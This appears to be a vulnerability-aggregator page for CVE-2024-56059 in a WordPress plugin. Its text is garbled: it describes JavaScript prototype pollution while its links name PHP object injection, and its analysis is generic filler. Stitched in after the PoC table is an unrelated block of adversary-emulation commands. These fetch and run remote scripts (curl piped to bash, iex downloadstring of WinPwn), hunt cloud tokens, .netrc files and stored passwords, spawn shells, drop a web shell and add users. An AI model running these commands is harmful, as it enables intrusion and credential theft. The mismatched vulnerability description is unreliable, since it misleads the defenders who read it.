CVE-2024-56059
Overview
This vulnerability is a Prototype Pollution flaw affecting farinspace Partners plugin versions up to 0.2.0. The root cause lies in improper validation and control over object prototype attributes, allowing an attacker to inject and modify JavaScript object prototypes. This occurs in the plugin's handling of input parameters that are merged into objects without sanitization, enabling malicious payloads to alter application logic at runtime.
Vulnerability Description
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in farinspace Partners partners allows Object Injection.This issue affects Partners: from n/a through <= 0.2.0.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to manipulate the application's JavaScript object prototypes, potentially leading to arbitrary code execution, data corruption, or denial of service. This can result in full compromise of the affected web application environment, unauthorized data access, or disruption of service. No user interaction or authentication is required to trigger the exploit, increasing the attack surface and risk to organizations using the affected plugin version.
Solution
Users of farinspace Partners plugin should upgrade to a version later than 0.2.0 where this vulnerability is addressed. Detailed remediation instructions and patch availability are documented at Patchstack: https://patchstack.com/database/Wordpress/Plugin/partners/vulnerability/wordpress-partners-plugin-0-2-0-php-object-injection-vulnerability?_s_id=cve. Applying the vendor-supplied patch or updating to a secure release is the recommended mitigation approach.
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Full Analysis
The vulnerability characterized by improperly controlled modification of object prototype attributes, commonly referred to as prototype pollution, presents a significant risk in the context of the affected software. This flaw allows attackers to manipulate the behavior of objects in JavaScript applications by injecting properties into object prototypes. When an application does not properly validate or sanitize user input, an attacker can exploit this weakness to modify the prototype of built-in objects, such as arrays or objects, leading to unexpected behavior in the application. This can result in the execution of arbitrary code, data leakage, or even denial of service, depending on how the application processes the modified objects.
Attack vectors for this vulnerability are varied and can be executed through different means, including direct user input, API calls, or even third-party libraries that interact with user data. An attacker could craft a malicious payload that, when processed by the vulnerable application, alters the prototype of an object. For instance, if an application uses user input to create or manipulate objects without proper validation, an attacker could inject properties that change the application's logic or expose sensitive data. Scenarios may include altering the behavior of authentication mechanisms, bypassing security controls, or modifying application logic to gain unauthorized access to resources.
The real-world impact of such a vulnerability can be severe, particularly for businesses that rely on web applications for critical operations. The potential for data breaches is heightened, as attackers could exploit this vulnerability to gain access to sensitive user information or application data. Additionally, the integrity of the application may be compromised, leading to reputational damage and loss of customer trust. The financial implications can also be significant, with potential costs arising from incident response, legal liabilities, and regulatory fines, especially if personal data is involved. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, as customers increasingly prioritize security in their choice of service providers.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments, including code reviews and penetration testing, can help identify instances of improper input handling. Static and dynamic analysis tools can also be employed to detect vulnerable patterns in the codebase. Additionally, developers should adopt secure coding practices, such as input validation and sanitization, to prevent the injection of malicious payloads. Utilizing libraries and frameworks that are actively maintained and have a strong security posture can further reduce the risk of exposure to such vulnerabilities. Finally, organizations should establish a robust incident response plan to quickly address any exploitation attempts and minimize potential damage.
In conclusion, the prototype pollution vulnerability poses a critical threat to web applications, with the potential for significant business impact if left unaddressed. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to detect and mitigate the associated risks. A proactive approach to security, encompassing both technical measures and organizational policies, is essential to safeguard against the exploitation of such vulnerabilities and to maintain the trust of users and stakeholders alike.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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RandomRobbieBF/CVE-2024-56059
Partners <= 0.2.0 - Unauthenticated PHP Object Injection
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RandomRobbieBF | 0 | 0 | 2025-01-13 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-56059 |
| patchstack.com |
GitHub CVE
vdb-entry
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https://patchstack.com/database/Wordpress/Plugin/partners/vulnerability/wordpress-partners-plugin-0-2-0-php-object-injection-vulnerability?_s_id=cve |